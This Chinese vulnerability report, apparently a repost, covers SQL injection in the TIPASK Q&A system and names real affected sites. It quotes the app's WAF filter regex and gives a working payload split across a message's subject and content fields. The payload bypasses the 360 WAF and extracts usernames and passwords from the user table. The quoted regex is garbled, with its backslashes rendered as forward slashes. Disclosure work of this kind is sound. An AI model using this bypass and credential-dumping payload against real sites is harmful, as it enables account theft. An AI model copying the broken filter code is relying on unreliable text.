首页 » 漏洞 » TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

 

案例

TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

由于该系统允许注册含有反斜线("/")的用户名,可造成多处SQL注入漏洞,因为该系统存在360WAF防御,同时利用多个参数结合完美绕过WAF的防护

code 区域
function checkattack($reqarr, $reqtype = 'post') {

$filtertable = array(

'get' => '/'|(and|or)//b.+?(>|<|=|in|like)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)',

'post' => '//b(and|or)//b.{1,6}?(=|>|<|//bin//b|//blike//b)|/////*.+?//*///|<//s//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)',

'cookie' => '//b(and|or)//b.{1,6}?(=|>|<|//bin//b|//blike//b)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)'

);

foreach ($reqarr as $reqkey => $reqvalue) {

if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {

print('Illegal operation!');

exit(-1);

}

}

}

1.首先注册一个用户名为:wooyun/

2.登录wooyun/给另一个用户发送消息(test)

(发消息处有2个可控的地方,利用这两个参数结合利用,即可完美绕过360的WAF)

完整的注入语句为:

code 区域
,fromuid=3,touid=2,subject=user(),content=(select concat(username,password) from ask_user limit 0,1)#

利用多个参数结合绕过360WAF,可以这样

主题填入:,fromuid=3,touid=2,subject=user(),content=(select concat(username,password)/*

内容处填入:*/from ask_user limit 0,1)#,如图

TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

提交后,登录另一个账号即可查看到注入的结果:

TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

同样可造成注入的地方还有:

1.在向他人提问的表单

2.回答别人的提问表单

3.自己发布提问的表单

其他地方应该还有,就不再一一演示了.

漏洞证明:

TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站)

修复方案:

过滤用户名的特殊符号

原文链接:TIPASK问答系统多处绕过WAF的SQL注入(影响天极网、戴尔中国、WPS office、小米等网站),转载请注明来源!

0